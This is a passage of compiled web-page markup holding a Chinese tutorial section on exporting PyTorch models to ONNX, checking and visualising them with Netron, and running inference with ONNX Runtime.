20:53:31"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,o.jsxs)(e.table,{children:[(0,o.jsx)(e.thead,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,o.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,o.jsx)(e.tbody,{children:(0,o.jsxs)(e.tr,{children:[(0,o.jsx)(e.td,{style:{textAlign:"left"},children:(0,o.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,o.jsx)(e.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,o.jsx)(e.h1,{id:"91-\u4f7f\u7528onnx\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406",children:"9.1 \u4f7f\u7528ONNX\u8fdb\u884c\u90e8\u7f72\u5e76\u63a8\u7406"}),"\n",(0,o.jsx)(e.p,{children:"\u6df1\u5ea6\u5b66\u4e60\u7684\u6700\u7ec8\u76ee\u7684\u662f\u8981\u5b9e\u73b0\u6a21\u578b\u7684\u90e8\u7f72\u4ee5\u65b9\u4fbf\u6211\u4eec\u7684\u751f\u6d3b\u548c\u89e3\u51b3\u4f20\u7edf\u65b9\u6cd5\u4e0d\u80fd\u89e3\u51b3\u7684\u95ee\u9898\u3002\u901a\u5e38\u4eba\u4eec\u4f1a\u5c06\u6a21\u578b\u90e8\u7f72\u5728\u624b\u673a\u7aef\u3001\u5f00\u53d1\u677f\uff0c\u5d4c\u5165\u5f0f\u8bbe\u5907\u4e0a\uff0c\u4f46\u662f\u8fd9\u4e9b\u8bbe\u5907\u4e0a\u7531\u4e8e\u6846\u67b6\u7684\u89c4\u6a21\uff0c\u73af\u5883\u4f9d\u8d56\uff0c\u7b97\u529b\u7684\u9650\u5236\uff0c\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u4f7f\u7528\u8bad\u7ec3\u597d\u7684\u6743\u91cd\u8fdb\u884c\u63a8\u7406\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5c06\u5f97\u5230\u7684\u6743\u91cd\u8fdb\u884c\u53d8\u6362\u624d\u80fd\u4f7f\u6211\u4eec\u7684\u6a21\u578b\u53ef\u4ee5\u6210\u529f\u90e8\u7f72\u5728\u4e0a\u8ff0\u8bbe\u5907\u4e0a\u3002\u800c\u7ecf\u8fc7\u5de5\u4e1a\u754c\u548c\u5b66\u672f\u754c\u591a\u5e74\u7684\u63a2\u7d22\uff0c\u51fa\u73b0\u4e86\u4ee5\u4e0b\u7684\u6a21\u578b\u90e8\u7f72pipeline\uff1a"}),"\n",(0,o.jsx)(e.img,{src:"./figures/pipeline.jpg",alt:"\u6846\u67b6",align:"center",style:{zoom:"50%"}}),"\n",(0,o.jsx)(e.p,{children:"\u800c\u5728\u672c\u8282\u4e2d\u6211\u4eec\u4f1a\u5c06PyTorch\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u8f6c\u6362\u4e3aONNX \u683c\u5f0f\uff0c\u7136\u540e\u4f7f\u7528ONNX Runtime\u8fd0\u884c\u5b83\u8fdb\u884c\u63a8\u7406\u3002\u901a\u8fc7\u672c\u8282\u8bfe\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,o.jsxs)(e.ol,{children:["\n",(0,o.jsx)(e.li,{children:"\u6a21\u578b\u90e8\u7f72\u7684\u6574\u4f53\u6d41\u7a0b"}),"\n",(0,o.jsx)(e.li,{children:"\u4f7f\u7528torch.onnx\u8fdb\u884c\u6a21\u578b\u683c\u5f0f\u7684\u8f6c\u5316"}),"\n",(0,o.jsx)(e.li,{children:"\u4f7f\u7528ONNX Runtime\u8fdb\u884c\u6a21\u578b\u63a8\u7406"}),"\n",(0,o.jsx)(e.li,{children:"\u5b8c\u6574\u7684\u5b98\u65b9\u4ee3\u7801\u89e3\u91ca"}),"\n"]}),"\n",(0,o.jsx)(e.h2,{id:"911-onnx\u548connx-runtime\u7b80\u4ecb",children:"9.1.1 ONNX\u548cONNX Runtime\u7b80\u4ecb"}),"\n",(0,o.jsx)(e.h3,{id:"9111-onnx\u7b80\u4ecb",children:"9.1.1.1 ONNX\u7b80\u4ecb"}),"\n",(0,o.jsxs)(e.ul,{children:["\n",(0,o.jsxs)(e.li,{children:["ONNX\u5b98\u7f51\uff1a",(0,o.jsx)(e.a,{href:"https://onnx.ai/",children:"https://onnx.ai/"})]}),"\n",(0,o.jsxs)(e.li,{children:["ONNX GitHub\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/onnx/onnx",children:"https://github.com/onnx/onnx"})]}),"\n"]}),"\n",(0,o.jsxs)(e.p,{children:[(0,o.jsx)(e.strong,{children:"ONNX( Open Neural Network Exchange)"})," \u662f Facebook (\u73b0Meta) \u548c\u5fae\u8f6f\u57282017\u5e74\u5171\u540c\u53d1\u5e03\u7684\uff0c\u7528\u4e8e\u6807\u51c6\u63cf\u8ff0\u8ba1\u7b97\u56fe\u7684\u4e00\u79cd\u683c\u5f0f\u3002ONNX\u901a\u8fc7\u5b9a\u4e49\u4e00\u7ec4\u4e0e\u73af\u5883\u548c\u5e73\u53f0\u65e0\u5173\u7684\u6807\u51c6\u683c\u5f0f\uff0c\u4f7fAI\u6a21\u578b\u53ef\u4ee5\u5728\u4e0d\u540c\u6846\u67b6\u548c\u73af\u5883\u4e0b\u4ea4\u4e92\u4f7f\u7528\uff0cONNX\u53ef\u4ee5\u770b\u4f5c\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u548c\u90e8\u7f72\u7aef\u7684\u6865\u6881\uff0c\u5c31\u50cf\u7f16\u8bd1\u5668\u7684\u4e2d\u95f4\u8bed\u8a00\u4e00\u6837\u3002\u7531\u4e8e\u5404\u6846\u67b6\u517c\u5bb9\u6027\u4e0d\u4e00\uff0c\u6211\u4eec\u901a\u5e38\u53ea\u7528 ONNX \u8868\u793a\u66f4\u5bb9\u6613\u90e8\u7f72\u7684\u9759\u6001\u56fe\u3002\u786c\u4ef6\u548c\u8f6f\u4ef6\u5382\u5546\u53ea\u9700\u8981\u57fa\u4e8eONNX\u6807\u51c6\u4f18\u5316\u6a21\u578b\u6027\u80fd\uff0c\u8ba9\u6240\u6709\u517c\u5bb9ONNX\u6807\u51c6\u7684\u6846\u67b6\u53d7\u76ca\u3002\u76ee\u524d\uff0cONNX\u4e3b\u8981\u5173\u6ce8\u5728\u6a21\u578b\u9884\u6d4b\u65b9\u9762\uff0c\u4f7f\u7528\u4e0d\u540c\u6846\u67b6\u8bad\u7ec3\u7684\u6a21\u578b\uff0c\u8f6c\u5316\u4e3aONNX\u683c\u5f0f\u540e\uff0c\u53ef\u4ee5\u5f88\u5bb9\u6613\u7684\u90e8\u7f72\u5728\u517c\u5bb9ONNX\u7684\u8fd0\u884c\u73af\u5883\u4e2d\u3002\u76ee\u524d\uff0c\u5728\u5fae\u8f6f\uff0c\u4e9a\u9a6c\u900a \uff0cFacebook(\u73b0Meta) \u548c IBM \u7b49\u516c\u53f8\u548c\u4f17\u591a\u5f00\u6e90\u8d21\u732e\u7684\u5171\u540c\u7ef4\u62a4\u4e0b\uff0cONNX \u5df2\u7ecf\u5bf9\u63a5\u4e86\u4e0b\u56fe\u7684\u591a\u79cd\u6df1\u5ea6\u5b66\u4e60\u6846\u67b6\u548c\u591a\u79cd\u63a8\u7406\u5f15\u64ce\u3002"]}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{alt:"image-20220805222147320",src:t(93752).A+"",width:"1690",height:"1021"})}),"\n",(0,o.jsx)(e.h3,{id:"9112-onnx-runtime\u7b80\u4ecb",children:"9.1.1.2 ONNX Runtime\u7b80\u4ecb"}),"\n",(0,o.jsxs)(e.ul,{children:["\n",(0,o.jsxs)(e.li,{children:["ONNX Runtime\u5b98\u7f51\uff1a",(0,o.jsx)(e.a,{href:"https://www.onnxruntime.ai/",children:"https://www.onnxruntime.ai/"})]}),"\n",(0,o.jsxs)(e.li,{children:["ONNX Runtime GitHub\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/microsoft/onnxruntime",children:"https://github.com/microsoft/onnxruntime"})]}),"\n"]}),"\n",(0,o.jsxs)(e.p,{children:[(0,o.jsx)(e.strong,{children:"ONNX Runtime"})," \u662f\u7531\u5fae\u8f6f\u7ef4\u62a4\u7684\u4e00\u4e2a\u8de8\u5e73\u53f0\u673a\u5668\u5b66\u4e60\u63a8\u7406\u52a0\u901f\u5668\uff0c\u5b83\u76f4\u63a5\u5bf9\u63a5ONNX\uff0c\u53ef\u4ee5\u76f4\u63a5\u8bfb\u53d6.onnx\u6587\u4ef6\u5e76\u5b9e\u73b0\u63a8\u7406\uff0c\u4e0d\u9700\u8981\u518d\u628a .onnx \u683c\u5f0f\u7684\u6587\u4ef6\u8f6c\u6362\u6210\u5176\u4ed6\u683c\u5f0f\u7684\u6587\u4ef6\u3002PyTorch\u501f\u52a9ONNX Runtime\u4e5f\u5b8c\u6210\u4e86\u90e8\u7f72\u7684\u6700\u540e\u4e00\u516c\u91cc\uff0c\u6784\u5efa\u4e86 PyTorch --\x3e ONNX --\x3e ONNX Runtime \u90e8\u7f72\u6d41\u6c34\u7ebf\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5c06\u6a21\u578b\u8f6c\u6362\u4e3a .onnx \u6587\u4ef6\uff0c\u5e76\u5728 ONNX Runtime \u4e0a\u8fd0\u884c\u6a21\u578b\u5373\u53ef\u3002"]}),"\n",(0,o.jsx)(e.h3,{id:"9113-onnx\u548connx-runtime\u7684\u5b89\u88c5",children:"9.1.1.3 ONNX\u548cONNX Runtime\u7684\u5b89\u88c5"}),"\n",(0,o.jsx)(e.p,{children:"ONNX\u548cONNX Runtime\u4f5c\u4e3apython\u7684\u4e00\u4e2a\u5305\u4e0e\u5176\u4ed6\u5305\u7684\u5b89\u88c5\u65b9\u6cd5\u76f8\u540c\uff0c\u6211\u4eec\u53ef\u4ee5\u9009\u62e9\u4f7f\u7528conda\u6216\u8005pip\u8fdb\u884c\u5b89\u88c5\uff0c\u53ea\u9700\u8981\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u5373\u53ef\uff1a"}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-shell",children:"# \u6fc0\u6d3b\u865a\u62df\u73af\u5883\nconda activate env_name # env_name\u6362\u6210\u73af\u5883\u540d\u79f0\n# \u5b89\u88c5onnx\npip install onnx \n# \u5b89\u88c5onnx runtime\npip install onnxruntime # \u4f7f\u7528CPU\u8fdb\u884c\u63a8\u7406\n# pip install onnxruntime-gpu # \u4f7f\u7528GPU\u8fdb\u884c\u63a8\u7406\n"})}),"\n",(0,o.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u6ce8\u610fONNX\u548cONNX Runtime\u4e4b\u95f4\u7684\u9002\u914d\u5173\u7cfb\u3002\u6211\u4eec\u53ef\u4ee5\u8bbf\u95eeONNX Runtime\u7684Github\u8fdb\u884c\u67e5\u770b\uff0c\u94fe\u63a5\u5730\u5740\u5982\u4e0b\uff1a"}),"\n",(0,o.jsxs)(e.p,{children:["ONNX\u548cONNX Runtime\u7684\u9002\u914d\u5173\u7cfb\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/microsoft/onnxruntime/blob/master/docs/Versioning.md",children:"https://github.com/microsoft/onnxruntime/blob/master/docs/Versioning.md"})]}),"\n",(0,o.jsx)(e.p,{children:"\u5f53\u6211\u4eec\u60f3\u4f7f\u7528GPU\u8fdb\u884c\u63a8\u7406\u65f6\uff0c\u6211\u4eec\u9700\u8981\u5148\u5c06\u5b89\u88c5\u7684onnxruntime\u5378\u8f7d\uff0c\u518d\u5b89\u88c5onnxruntime-gpu\uff0c\u540c\u65f6\u6211\u4eec\u8fd8\u9700\u8981\u8003\u8651ONNX Runtime\u4e0eCUDA\u4e4b\u95f4\u7684\u9002\u914d\u5173\u7cfb\uff0c\u6211\u4eec\u53ef\u4ee5\u53c2\u8003\u4ee5\u4e0b\u94fe\u63a5\u8fdb\u884c\u67e5\u770b\uff1a"}),"\n",(0,o.jsxs)(e.p,{children:["ONNX Runtime\u548cCUDA\u4e4b\u95f4\u7684\u9002\u914d\u5173\u7cfb\uff1a",(0,o.jsx)(e.a,{href:"https://onnxruntime.ai/docs/execution-providers/CUDA-ExecutionProvider.html",children:"https://onnxruntime.ai/docs/execution-providers/CUDA-ExecutionProvider.html"})]}),"\n",(0,o.jsx)(e.h2,{id:"912-\u6a21\u578b\u5bfc\u51fa\u4e3aonnx",children:"9.1.2 \u6a21\u578b\u5bfc\u51fa\u4e3aONNX"}),"\n",(0,o.jsx)(e.h3,{id:"9121-\u6a21\u578b\u8f6c\u6362\u4e3aonnx\u683c\u5f0f",children:"9.1.2.1 \u6a21\u578b\u8f6c\u6362\u4e3aONNX\u683c\u5f0f"}),"\n",(0,o.jsxs)(e.p,{children:["\u5728\u63a5\u4e0b\u6765\u7684\u90e8\u5206\uff0c\u6211\u4eec\u5c06\u4f7f\u7528",(0,o.jsx)(e.code,{children:"torch.onnx.export()"}),"\u628a\u6a21\u578b\u8f6c\u6362\u6210 ONNX \u683c\u5f0f\u7684\u51fd\u6570\u3002\u6a21\u578b\u5bfc\u6210onnx\u683c\u5f0f\u524d\uff0c\u6211\u4eec\u5fc5\u987b\u8c03\u7528",(0,o.jsx)(e.code,{children:"model.eval()"}),"\u6216\u8005",(0,o.jsx)(e.code,{children:"model.train(False)"}),"\u4ee5\u786e\u4fdd\u6211\u4eec\u7684\u6a21\u578b\u5904\u5728\u63a8\u7406\u6a21\u5f0f\u4e0b\uff0c\u907f\u514d\u56e0\u4e3a",(0,o.jsx)(e.code,{children:"dropout"}),"\u6216",(0,o.jsx)(e.code,{children:"batchnorm"}),"\u7b49\u8fd0\u7b97\u7b26\u5728\u63a8\u7406\u548c\u8bad\u7ec3\u6a21\u5f0f\u4e0b\u7684\u4e0d\u540c\u4ea7\u751f\u9519\u8bef\u3002\uff08\u56e0\u4e3a\u672c\u8bfe\u7a0b\u504f\u5411\u5b9e\u6218\uff0c\u5bf9\u4e8eONNX\u7684\u5185\u90e8\u6d41\u7a0b\u4e0d\u505a\u8fc7\u591a\u8d58\u8ff0\uff0c\u6709\u5174\u8da3\u7684\u540c\u5b66\u53ef\u4ee5\u8fdb\u884c\u66f4\u6df1\u4e00\u6b65\u4e86\u89e3\uff09"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"import torch.onnx \n# \u8f6c\u6362\u7684onnx\u683c\u5f0f\u7684\u540d\u79f0\uff0c\u6587\u4ef6\u540e\u7f00\u9700\u4e3a.onnx\nonnx_file_name = \"xxxxxx.onnx\"\n# \u6211\u4eec\u9700\u8981\u8f6c\u6362\u7684\u6a21\u578b\uff0c\u5c06torch_model\u8bbe\u7f6e\u4e3a\u81ea\u5df1\u7684\u6a21\u578b\nmodel = torch_model\n# \u52a0\u8f7d\u6743\u91cd\uff0c\u5c06model.pth\u8f6c\u6362\u4e3a\u81ea\u5df1\u7684\u6a21\u578b\u6743\u91cd\n# \u5982\u679c\u6a21\u578b\u7684\u6743\u91cd\u662f\u4f7f\u7528\u591a\u5361\u8bad\u7ec3\u51fa\u6765\uff0c\u6211\u4eec\u9700\u8981\u53bb\u9664\u6743\u91cd\u4e2d\u591a\u7684module. \u5177\u4f53\u64cd\u4f5c\u53ef\u4ee5\u89c15.4\u8282\nmodel = model.load_state_dict(torch.load(\"model.pth\"))\n# \u5bfc\u51fa\u6a21\u578b\u524d\uff0c\u5fc5\u987b\u8c03\u7528model.eval()\u6216\u8005model.train(False)\nmodel.eval()\n# dummy_input\u5c31\u662f\u4e00\u4e2a\u8f93\u5165\u7684\u5b9e\u4f8b\uff0c\u4ec5\u63d0\u4f9b\u8f93\u5165shape\u3001type\u7b49\u4fe1\u606f \nbatch_size = 1 # \u968f\u673a\u7684\u53d6\u503c\uff0c\u5f53\u8bbe\u7f6edynamic_axes\u540e\u5f71\u54cd\u4e0d\u5927\ndummy_input = torch.randn(batch_size, 1, 224, 224, requires_grad=True) \n# \u8fd9\u7ec4\u8f93\u5165\u5bf9\u5e94\u7684\u6a21\u578b\u8f93\u51fa\noutput = model(dummy_input)\n# \u5bfc\u51fa\u6a21\u578b\ntorch.onnx.export(model, # \u6a21\u578b\u7684\u540d\u79f0\n dummy_input, # \u4e00\u7ec4\u5b9e\u4f8b\u5316\u8f93\u5165\n onnx_file_name, # \u6587\u4ef6\u4fdd\u5b58\u8def\u5f84/\u540d\u79f0\n export_params=True, # \u5982\u679c\u6307\u5b9a\u4e3aTrue\u6216\u9ed8\u8ba4, \u53c2\u6570\u4e5f\u4f1a\u88ab\u5bfc\u51fa. \u5982\u679c\u4f60\u8981\u5bfc\u51fa\u4e00\u4e2a\u6ca1\u8bad\u7ec3\u8fc7\u7684\u5c31\u8bbe\u4e3a False.\n opset_version=10, # ONNX \u7b97\u5b50\u96c6\u7684\u7248\u672c\uff0c\u5f53\u524d\u5df2\u66f4\u65b0\u523015\n do_constant_folding=True, # \u662f\u5426\u6267\u884c\u5e38\u91cf\u6298\u53e0\u4f18\u5316\n input_names = ['input'], # \u8f93\u5165\u6a21\u578b\u7684\u5f20\u91cf\u7684\u540d\u79f0\n output_names = ['output'], # \u8f93\u51fa\u6a21\u578b\u7684\u5f20\u91cf\u7684\u540d\u79f0\n # dynamic_axes\u5c06batch_size\u7684\u7ef4\u5ea6\u6307\u5b9a\u4e3a\u52a8\u6001\uff0c\n # \u540e\u7eed\u8fdb\u884c\u63a8\u7406\u7684\u6570\u636e\u53ef\u4ee5\u4e0e\u5bfc\u51fa\u7684dummy_input\u7684batch_size\u4e0d\u540c\n dynamic_axes={'input' : {0 : 'batch_size'}, \n 'output' : {0 : 'batch_size'}})\n\n"})}),"\n",(0,o.jsx)(e.h3,{id:"9122-onnx\u6a21\u578b\u7684\u68c0\u9a8c",children:"9.1.2.2 ONNX\u6a21\u578b\u7684\u68c0\u9a8c"}),"\n",(0,o.jsxs)(e.p,{children:["\u5f53\u4e0a\u8ff0\u4ee3\u7801\u8fd0\u884c\u6210\u529f\u540e\uff0c\u6211\u4eec\u4f1a\u5f97\u5230\u4e00\u4e2aONNX \u6a21\u578b\u6587\u4ef6\u3002\u6211\u4eec\u9700\u8981\u68c0\u6d4b\u4e0b\u6211\u4eec\u7684\u6a21\u578b\u6587\u4ef6\u662f\u5426\u53ef\u7528\uff0c\u6211\u4eec\u5c06\u901a\u8fc7",(0,o.jsx)(e.code,{children:"onnx.checker.check_model()"}),"\u8fdb\u884c\u68c0\u9a8c\uff0c\u5177\u4f53\u65b9\u6cd5\u5982\u4e0b\uff1a"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:'import onnx\n# \u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u5f02\u5e38\u5904\u7406\u7684\u65b9\u6cd5\u8fdb\u884c\u68c0\u9a8c\ntry:\n # \u5f53\u6211\u4eec\u7684\u6a21\u578b\u4e0d\u53ef\u7528\u65f6\uff0c\u5c06\u4f1a\u62a5\u51fa\u5f02\u5e38\n onnx.checker.check_model(self.onnx_model)\nexcept onnx.checker.ValidationError as e:\n print("The model is invalid: %s"%e)\nelse:\n # \u6a21\u578b\u53ef\u7528\u65f6\uff0c\u5c06\u4e0d\u4f1a\u62a5\u51fa\u5f02\u5e38\uff0c\u5e76\u4f1a\u8f93\u51fa\u201cThe model is valid!\u201d\n print("The model is valid!")\n'})}),"\n",(0,o.jsx)(e.h3,{id:"9123-onnx\u53ef\u89c6\u5316",children:"9.1.2.3 ONNX\u53ef\u89c6\u5316"}),"\n",(0,o.jsxs)(e.p,{children:["\u5728\u5c06\u6a21\u578b\u5bfc\u51fa\u4e3aonnx\u683c\u5f0f\u540e\uff0c\u6211\u4eec\u5e0c\u671b\u6709\u4e2a\u5de5\u5177\u53ef\u4ee5\u50cfTensorboard\u4e00\u6837\u53ef\u89c6\u5316\u6a21\u578b\u6765\u89c2\u5bdf\u6bcf\u4e2a\u8282\u70b9\u7684\u5c5e\u6027\u7279\u5f81\u3002\u968f\u7740",(0,o.jsx)(e.code,{children:"Netron"}),"\u7684\u51fa\u73b0\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u5b9e\u73b0onnx\u7684\u53ef\u89c6\u5316\u3002"]}),"\n",(0,o.jsxs)(e.ul,{children:["\n",(0,o.jsxs)(e.li,{children:["Netron\u4e0b\u8f7d\u7f51\u5740\uff1a",(0,o.jsx)(e.a,{href:"https://github.com/lutzroeder/netron",children:"https://github.com/lutzroeder/netron"}),"\n",(0,o.jsx)(e.img,{alt:"img",src:t(69695).A+"",width:"2616",height:"1760"})]}),"\n"]}),"\n",(0,o.jsxs)(e.p,{children:["\u4f7f\u7528Netron\u8fdb\u884c\u53ef\u89c6\u5316\u540e\uff0c\u6211\u4eec\u4e0d\u4ec5\u80fd\u770b\u5230\u6574\u4f53\u6a21\u578b\u7684\u67b6\u6784\uff0c\u8fd8\u80fd\u770b\u5230\u6bcf\u4e00\u4e2a\u8282\u70b9\u7684\u4fe1\u606f\u3002\u5728\u63a5\u4e0b\u6765\u7684\u5185\u5bb9\u4e2d\u6211\u4eec\u5c06\u4ee5Netron\u5b98\u65b9\u63d0\u4f9b\u7684",(0,o.jsx)(e.a,{href:"https://netron.app/?url=https://media.githubusercontent.com/media/onnx/models/main/vision/classification/squeezenet/model/squeezenet1.0-3.onnx",children:"squeezenet"}),"\u4e3a\u4f8b\u8fdb\u884c\u4ecb\u7ecd\u3002\u4e0b\u9762\u7b2c\u4e00\u5e45\u56fe\u622a\u53d6\u81easqueezenet\u7f51\u7edc\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u7f51\u7edc\u7684\u6574\u4f53\u6d41\u7a0b\u548c\u8f93\u5165\u3002"]}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{src:"./figures/grapgflow.png",alt:"\u7ed3\u6784\u56fe",align:"center",style:{zoom:"50%"}})}),"\n",(0,o.jsx)(e.p,{children:"\u7b2c\u4e8c\u5e45\u56fe\u663e\u793a\u4e86\u7b2c\u4e00\u4e2aConv\u7684\u4fe1\u606f\u5305\u62eckernel_size\uff0cstrides\uff0cinput\uff0coutput\u7b49\u4fe1\u606f\uff0c\u540c\u7406\u5f53\u6211\u4eec\u70b9\u51fb\u5176\u4ed6\u8282\u70b9\u65f6\u4e5f\u53ef\u4ee5\u663e\u793a\u8be5\u8282\u70b9\u7684\u4fe1\u606f\u3002"}),"\n",(0,o.jsx)(e.p,{children:(0,o.jsx)(e.img,{alt:"image-20220805221657416",src:t(98927).A+"",width:"2068",height:"1283"})}),"\n",(0,o.jsx)(e.h2,{id:"913-\u4f7f\u7528onnx-runtime\u8fdb\u884c\u63a8\u7406",children:"9.1.3 \u4f7f\u7528ONNX Runtime\u8fdb\u884c\u63a8\u7406"}),"\n",(0,o.jsxs)(e.p,{children:["\u901a\u8fc7\u4ee5\u4e0a\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u5df2\u7ecf\u5b8c\u6210\u4e86PyTorch\u7684\u6a21\u578b\u5230ONNX\u6a21\u578b\u7684\u8f6c\u6362\uff0c\u5e76\u901a\u8fc7Netron\u53ef\u89c6\u5316\u548c",(0,o.jsx)(e.code,{children:"onnx.checker.check_model()"}),"\u68c0\u67e5\u4e86\u6a21\u578b\u7684\u6b63\u786e\u6027\u3002\u5728\u8fd9\u4e00\u6b65\uff0c\u6211\u4eec\u5c06\u4f7f\u7528ONNX Runtime\u8fd0\u884c\u4e00\u4e0b\u8f6c\u5316\u540e\u7684\u6a21\u578b\uff0c\u770b\u4e00\u4e0b\u63a8\u7406\u540e\u7684\u7ed3\u679c\u3002"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"# \u5bfc\u5165onnxruntime\nimport onnxruntime\n# \u9700\u8981\u8fdb\u884c\u63a8\u7406\u7684onnx\u6a21\u578b\u6587\u4ef6\u540d\u79f0\nonnx_file_name = \"xxxxxx.onnx\"\n\n# onnxruntime.InferenceSession\u7528\u4e8e\u83b7\u53d6\u4e00\u4e2a ONNX Runtime \u63a8\u7406\u5668\nort_session = onnxruntime.InferenceSession(onnx_file_name) \n\n# \u6784\u5efa\u5b57\u5178\u7684\u8f93\u5165\u6570\u636e\uff0c\u5b57\u5178\u7684key\u9700\u8981\u4e0e\u6211\u4eec\u6784\u5efaonnx\u6a21\u578b\u65f6\u7684input_names\u76f8\u540c\n# \u8f93\u5165\u7684input_img \u4e5f\u9700\u8981\u6539\u53d8\u4e3andarray\u683c\u5f0f\nort_inputs = {'input': input_img} \n# \u6211\u4eec\u66f4\u5efa\u8bae\u4f7f\u7528\u4e0b\u9762\u8fd9\u79cd\u65b9\u6cd5,\u56e0\u4e3a\u907f\u514d\u4e86\u624b\u52a8\u8f93\u5165key\n# ort_inputs = {ort_session.get_inputs()[0].name:input_img}\n\n# run\u662f\u8fdb\u884c\u6a21\u578b\u7684\u63a8\u7406\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u4e3a\u8f93\u51fa\u5f20\u91cf\u540d\u7684\u5217\u8868\uff0c\u4e00\u822c\u60c5\u51b5\u53ef\u4ee5\u8bbe\u7f6e\u4e3aNone\n# \u7b2c\u4e8c\u4e2a\u53c2\u6570\u4e3a\u6784\u5efa\u7684\u8f93\u5165\u503c\u7684\u5b57\u5178\n# \u7531\u4e8e\u8fd4\u56de\u7684\u7ed3\u679c\u88ab\u5217\u8868\u5d4c\u5957\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u8fdb\u884c[0]\u7684\u7d22\u5f15\nort_output = ort_session.run(None,ort_inputs)[0]\n# output = {ort_session.get_outputs()[0].name}\n# ort_output = ort_session.run([output], ort_inputs)[0]\n\n"})}),"\n",(0,o.jsx)(e.p,{children:"\u5728\u4e0a\u8ff0\u7684\u6b65\u9aa4\u4e2d\uff0c\u6211\u4eec\u6709\u51e0\u4e2a\u9700\u8981\u6ce8\u610f\u7684\u70b9\uff1a"}),"\n",(0,o.jsxs)(e.ol,{children:["\n",(0,o.jsx)(e.li,{children:"PyTorch\u6a21\u578b\u7684\u8f93\u5165\u4e3atensor\uff0c\u800cONNX\u7684\u8f93\u5165\u4e3aarray\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u5bf9\u5f20\u91cf\u8fdb\u884c\u53d8\u6362\u6216\u8005\u76f4\u63a5\u5c06\u6570\u636e\u8bfb\u53d6\u4e3aarray\u683c\u5f0f\uff0c\u6211\u4eec\u53ef\u4ee5\u5b9e\u73b0\u4e0b\u9762\u7684\u65b9\u5f0f\u8fdb\u884c\u5f20\u91cf\u5230array\u7684\u8f6c\u5316\u3002"}),"\n"]}),"\n",(0,o.jsx)(e.pre,{children:(0,o.jsx)(e.code,{className:"language-python",children:"def to_numpy(tensor):\n return tensor.detach().cpu().numpy() if tensor.requires_grad else tensor.cpu().numpy()\n"})}),"\n",(0,o.jsxs)(e.ol,{start:"2",children:["\n",(0,o.jsxs)(e.li,{children:["\u8f93\u5165\u7684array\u7684shape\u5e94\u8be5\u548c\u6211\u4eec\u5bfc\u51fa\u6a21\u578b\u7684",(0,o.jsx)(e.code,{children:"dummy_input"}),"\u7684shape\u76f8\u540c\uff0c\u5982\u679c\u56fe\u7247\u5927\u5c0f\u4e0d\u4e00\u6837\uff0c\u6211\u4eec\u5e94\u8be5\u5148\u8fdb\u884cresize\u64cd\u4f5c\u3002"]}),"\n",(0,o.jsx)(e.li,{children:"run\u7684\u7ed3\u679c\u662f\u4e00\u4e2a\u5217\u8868\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u7d22\u5f15\u64cd\u4f5c\u624d\u80fd\u83b7\u5f97array\u683c\u5f0f\u7684\u7ed3\u679c\u3002"}),"\n",(0,o.jsx)(e.li,{children:"\u5728\u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u65f6\uff0c\u6211\u4eec\u9700\u8981\u6ce8\u610f\u5b57\u5178\u7684key\u5e94\u4e0e\u5bfc\u51faONNX\u683c\u5f0f\u8bbe\u7f6e\u7684input_name\u76f8\u540c\uff0c\u56e0\u6b64\u6211\u4eec\u66f4\u5efa\u8bae\u4f7f\u7528\u4e0a\u8ff0\u7684\u7b2c\u4e8c\u79cd\u65b9\u6cd5\u6784\u5efa\u8f93\u5165\u7684\u5b57\u5178\u3002"}),"\n"]}),"\n",(0,o.jsx)(e.h2,{id:"914-\u4ee3\u7801\u5b9e\u6218",children:"9.1.4 